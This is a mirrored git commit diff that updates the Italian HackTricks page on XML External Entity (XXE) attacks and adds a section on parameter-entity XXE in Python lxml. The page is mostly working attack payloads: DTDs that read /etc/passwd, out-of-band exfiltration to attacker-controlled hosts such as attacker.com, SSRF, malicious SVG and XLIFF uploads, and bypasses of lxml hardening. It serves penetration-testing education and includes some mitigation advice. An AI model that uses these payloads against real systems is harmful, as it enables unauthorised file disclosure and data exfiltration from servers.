mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to it
This commit is contained in:
Translator
parent
f4b5dbbbfb
commit
5a5a7703fe
@ -1,16 +1,21 @@
|
||||
# XXE - XEE - XML External Entity
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Fondamenti di XML
|
||||
## Nozioni di base su XML
|
||||
|
||||
XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
|
||||
XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML in quanto non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
|
||||
|
||||
- **Rappresentazione dei Dati tramite Entità**: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come `<` e `>`, che corrispondono a `<` e `>` per evitare conflitti con il sistema di tag di XML.
|
||||
- **Definizione degli Elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi devono essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a elementi figli specifici.
|
||||
- **Definizione del Tipo di Documento (DTD)**: I DTD sono cruciali in XML per definire la struttura del documento e i tipi di dati che può contenere. Possono essere interni, esterni o una combinazione, guidando come i documenti sono formattati e convalidati.
|
||||
- **Entità Personalizzate ed Esterne**: XML supporta la creazione di entità personalizzate all'interno di un DTD per una rappresentazione flessibile dei dati. Le entità esterne, definite con un URL, sollevano preoccupazioni di sicurezza, in particolare nel contesto degli attacchi XML External Entity (XXE), che sfruttano il modo in cui i parser XML gestiscono le fonti di dati esterne: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Rilevamento XXE con Entità Parametriche**: Per rilevare vulnerabilità XXE, specialmente quando i metodi convenzionali falliscono a causa delle misure di sicurezza del parser, possono essere utilizzate entità parametriche XML. Queste entità consentono tecniche di rilevamento out-of-band, come l'attivazione di lookup DNS o richieste HTTP a un dominio controllato, per confermare la vulnerabilità.
|
||||
- **Rappresentazione dei dati tramite entità**: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come `<` e `>`, che corrispondono a `<` e `>` per evitare conflitti con il sistema di tag di XML.
|
||||
- **Definizione degli elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi devono essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a elementi figli specifici.
|
||||
- **Definizione del tipo di documento (DTD)**: I DTD sono cruciali in XML per definire la struttura del documento e i tipi di dati che può contenere. Possono essere interni, esterni o una combinazione, guidando come i documenti sono formattati e convalidati.
|
||||
- **Entità personalizzate ed esterne**: XML supporta la creazione di entità personalizzate all'interno di un DTD per una rappresentazione flessibile dei dati. Le entità esterne, definite con un URL, sollevano preoccupazioni di sicurezza, in particolare nel contesto degli attacchi XML External Entity (XXE), che sfruttano il modo in cui i parser XML gestiscono le fonti di dati esterne: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Rilevamento XXE con entità parametro**: Per rilevare vulnerabilità XXE, specialmente quando i metodi convenzionali falliscono a causa delle misure di sicurezza del parser, possono essere utilizzate le entità parametro XML. Queste entità consentono tecniche di rilevamento out-of-band, come l'attivazione di lookup DNS o richieste HTTP a un dominio controllato, per confermare la vulnerabilità.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -18,7 +23,7 @@ XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei
|
||||
|
||||
[**La maggior parte di questi attacchi è stata testata utilizzando i fantastici laboratori XEE di Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Test Nuova Entità
|
||||
### Test di nuova entità
|
||||
|
||||
In questo attacco testerò se una semplice dichiarazione di nuova ENTITÀ funziona.
|
||||
```xml
|
||||
@ -49,7 +54,7 @@ Questo secondo caso dovrebbe essere utile per estrarre un file se il server web
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
In questo terzo caso notiamo che stiamo dichiarando l'`Element stockCheck` come ANY
|
||||
In questo terzo caso, nota che stiamo dichiarando l'`Element stockCheck` come ANY.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
@ -65,7 +70,7 @@ In questo terzo caso notiamo che stiamo dichiarando l'`Element stockCheck` come
|
||||
|
||||
### Elenco delle directory
|
||||
|
||||
In applicazioni basate su **Java** potrebbe essere possibile **elencare i contenuti di una directory** tramite XXE con un payload come (chiedendo solo la directory invece del file):
|
||||
In applicazioni basate su **Java** potrebbe essere possibile **elencare i contenuti di una directory** tramite XXE con un payload come (richiedendo solo la directory invece del file):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -83,7 +88,7 @@ Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se ciò non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità di parametro XML**:
|
||||
Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità parametriche XML**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -91,7 +96,7 @@ Utilizzando la **tecnica precedentemente commentata** puoi far accedere il serve
|
||||
```
|
||||
### "Blind" SSRF - Exfiltrare dati out-of-band
|
||||
|
||||
**In questa occasione faremo caricare al server un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base ad esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab qui**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**In questa occasione faremo in modo che il server carichi un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base per esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab qui**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
Nel DTD malevolo fornito, vengono eseguiti una serie di passaggi per esfiltrare dati:
|
||||
|
||||
@ -130,7 +135,7 @@ Questo payload definisce un'entità parametro XML `%xxe` e la incorpora all'inte
|
||||
Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/passwd`, può essere attivato utilizzando un Documento di Tipo Esterno (DTD) malevolo. Questo viene realizzato attraverso i seguenti passaggi:
|
||||
|
||||
1. Viene definita un'entità parametro XML chiamata `file`, che contiene i contenuti del file `/etc/passwd`.
|
||||
2. Viene definita un'entità parametro XML chiamata `eval`, incorporando una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome.
|
||||
2. Viene definita un'entità parametro XML chiamata `eval`, che incorpora una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome.
|
||||
3. L'entità `eval` viene invocata, portando alla dichiarazione dinamica dell'entità `error`.
|
||||
4. L'invocazione dell'entità `error` risulta in un tentativo di caricare un file inesistente, producendo un messaggio di errore che include i contenuti del file `/etc/passwd` come parte del nome del file.
|
||||
|
||||
@ -148,9 +153,9 @@ _**Si prega di notare che il DTD esterno ci consente di includere un'entità all
|
||||
|
||||
### **Error Based (system DTD)**
|
||||
|
||||
E quindi, cosa succede alle vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
|
||||
E per quanto riguarda le vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
|
||||
|
||||
Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errore. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
|
||||
Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errori. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
|
||||
|
||||
Considera uno scenario in cui il filesystem del server contiene un file DTD in `/usr/local/app/schema.dtd`, che definisce un'entità chiamata `custom_entity`. Un attaccante può indurre un errore di parsing XML rivelando il contenuto del file `/etc/passwd` inviando un DTD ibrido come segue:
|
||||
```xml
|
||||
@ -205,7 +210,7 @@ Nel seguente fantastico repo di github puoi trovare **percorsi di DTD che posson
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Inoltre, se hai l'**immagine Docker del sistema vittima**, puoi utilizzare lo strumento dello stesso repo per **scansionare** l'**immagine** e **trovare** il percorso delle **DTD** presenti all'interno del sistema. Leggi il [Readme del github](https://github.com/GoSecure/dtd-finder) per sapere come.
|
||||
Inoltre, se hai l'**immagine Docker del sistema vittima**, puoi utilizzare lo strumento dello stesso repo per **scansionare** l'**immagine** e **trovare** il percorso delle **DTD** presenti all'interno del sistema. Leggi il [Readme del github](https://github.com/GoSecure/dtd-finder) per scoprire come.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -235,7 +240,7 @@ Ora, il file creato può essere caricato nell'applicazione web potenzialmente vu
|
||||
|
||||
### Jar: protocollo
|
||||
|
||||
Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), soddisfacendo sia i file locali che remoti.
|
||||
Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), per file locali e remoti.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
@ -310,7 +315,7 @@ Poi puoi provare a decifrare l'hash usando hashcat
|
||||
|
||||
### XInclude
|
||||
|
||||
Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` fornisce una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
|
||||
Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` offre una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
|
||||
|
||||
Per eseguire un attacco `XInclude`, deve essere dichiarato lo spazio dei nomi `XInclude` e deve essere specificato il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un attacco di questo tipo:
|
||||
```xml
|
||||
@ -322,7 +327,7 @@ Controlla [https://portswigger.net/web-security/xxe](https://portswigger.net/web
|
||||
|
||||
I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nel modo in cui vengono gestiti i file XML o i formati di file contenenti XML. Formati di file comuni come documenti di office (DOCX) e immagini (SVG) si basano su XML.
|
||||
|
||||
Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).
|
||||
Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche le immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).
|
||||
|
||||
Un esempio di tale exploit è mostrato di seguito, dove un'immagine SVG dannosa tenta di leggere file di sistema:
|
||||
```xml
|
||||
@ -422,14 +427,14 @@ Puoi usare la \[**"Encode Recipe**" di cyberchef qui ]\(\[[https://gchq.github.i
|
||||
```
|
||||
### File:/ Protocol Bypass
|
||||
|
||||
Se il web utilizza PHP, invece di usare `file:/` puoi utilizzare **php wrappers**`php://filter/convert.base64-encode/resource=` per **accedere a file interni**.
|
||||
Se il web utilizza PHP, invece di usare `file:/` puoi usare **php wrappers**`php://filter/convert.base64-encode/resource=` per **accedere a file interni**.
|
||||
|
||||
Se il web utilizza Java, puoi controllare il [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
|
||||
### HTML Entities
|
||||
|
||||
Trucco da [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Puoi creare un **entità all'interno di un'entità** codificandola con **html entities** e poi chiamarla per **caricare un dtd**.\
|
||||
Puoi creare un **entity all'interno di un entity** codificandolo con **html entities** e poi chiamarlo per **caricare un dtd**.\
|
||||
Nota che le **HTML Entities** utilizzate devono essere **numeriche** (come \[in questo esempio]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -480,7 +485,7 @@ XLIFF (XML Localization Interchange File Format) è utilizzato per standardizzar
|
||||
|
||||
### Analisi della Richiesta Cieca
|
||||
|
||||
Una richiesta viene inviata al server con il seguente contenuto:
|
||||
Viene effettuata una richiesta al server con il seguente contenuto:
|
||||
```xml
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
@ -534,7 +539,7 @@ Per includere il contenuto del file nel messaggio di errore, il file DTD viene r
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Questa modifica porta all'exfiltrazione riuscita del contenuto del file, poiché è riflessa nell'output di errore inviato tramite HTTP. Questo indica un attacco XXE (XML External Entity) riuscito, sfruttando sia tecniche Out of Band che Error-Based per estrarre informazioni sensibili.
|
||||
Questa modifica porta all'exfiltrazione riuscita del contenuto del file, come riflesso nell'output di errore inviato tramite HTTP. Questo indica un attacco XXE (XML External Entity) riuscito, sfruttando sia tecniche Out of Band che Error-Based per estrarre informazioni sensibili.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
@ -681,7 +686,62 @@ Dai un'occhiata a questo fantastico rapporto [https://swarm.ptsecurity.com/impos
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
|
||||
|
||||
> [!INFO]
|
||||
> La libreria Python **lxml** utilizza **libxml2** sotto il cofano. Le versioni precedenti a **lxml 5.4.0 / libxml2 2.13.8** espandono ancora le entità *parameter* anche quando `resolve_entities=False`, rendendole accessibili quando l'applicazione abilita `load_dtd=True` e/o `resolve_entities=True`. Questo consente payload XXE basati su errori che incorporano i contenuti di file locali nel messaggio di errore del parser.
|
||||
|
||||
#### 1. Sfruttare lxml < 5.4.0
|
||||
1. Identificare o creare un DTD *locale* su disco che definisca un'entità parametro **non definita** (ad es. `%config_hex;`).
|
||||
2. Creare un DTD interno che:
|
||||
* Carica il DTD locale con `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Ridefinisce l'entità non definita in modo che:
|
||||
- Legga il file di destinazione (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Costruisca un'altra entità parametro che si riferisce a un **percorso non valido** contenente il valore `%flag;` e attivi un errore del parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Infine espandere `%local_dtd;` e `%eval;` in modo che il parser incontri `%error;`, non riesca ad aprire `/aaa/<FLAG>` e faccia trapelare il flag all'interno dell'eccezione sollevata – che viene spesso restituita all'utente dall'applicazione.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
<!ENTITY % config_hex '
|
||||
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
|
||||
%eval;'>
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Quando l'applicazione stampa l'eccezione, la risposta contiene:
|
||||
```
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> Se il parser si lamenta dei caratteri `%`/`&` all'interno del sottoinsieme interno, codificali due volte (`&#x25;` ⇒ `%`) per ritardare l'espansione.
|
||||
|
||||
#### 2. Bypassare l'indurimento di lxml 5.4.0 (libxml2 ancora vulnerabile)
|
||||
`lxml` ≥ 5.4.0 vieta le entità parametro *error* come quella sopra, ma **libxml2** consente ancora di incorporarle in un'entità *generale*. Il trucco è:
|
||||
1. Leggere il file in un'entità parametro `%file`.
|
||||
2. Dichiarare un'altra entità parametro che costruisce un'entità **generale** `c` il cui identificatore SYSTEM utilizza un *protocollo inesistente* come `meow://%file;`.
|
||||
3. Posizionare `&c;` nel corpo XML. Quando il parser tenta di dereferenziare `meow://…` fallisce e riflette l'intero URI – inclusi i contenuti del file – nel messaggio di errore.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % a '
|
||||
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
|
||||
'>
|
||||
%a; %b;
|
||||
]>
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Punti chiave
|
||||
* **Le entità parametro** vengono ancora espanse da libxml2 anche quando `resolve_entities` dovrebbe bloccare XXE.
|
||||
* Un **URI non valido** o un **file inesistente** è sufficiente per concatenare dati controllati nell'eccezione generata.
|
||||
* La tecnica funziona **senza connettività in uscita**, rendendola ideale per ambienti con filtraggio rigoroso in uscita.
|
||||
|
||||
#### Linee guida per la mitigazione
|
||||
* Aggiorna a **lxml ≥ 5.4.0** e assicurati che il **libxml2** sottostante sia **≥ 2.13.8**.
|
||||
* Disabilita `load_dtd` e/o `resolve_entities` a meno che non sia assolutamente necessario.
|
||||
* Evita di restituire errori di parser grezzi al client.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
@ -692,4 +752,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user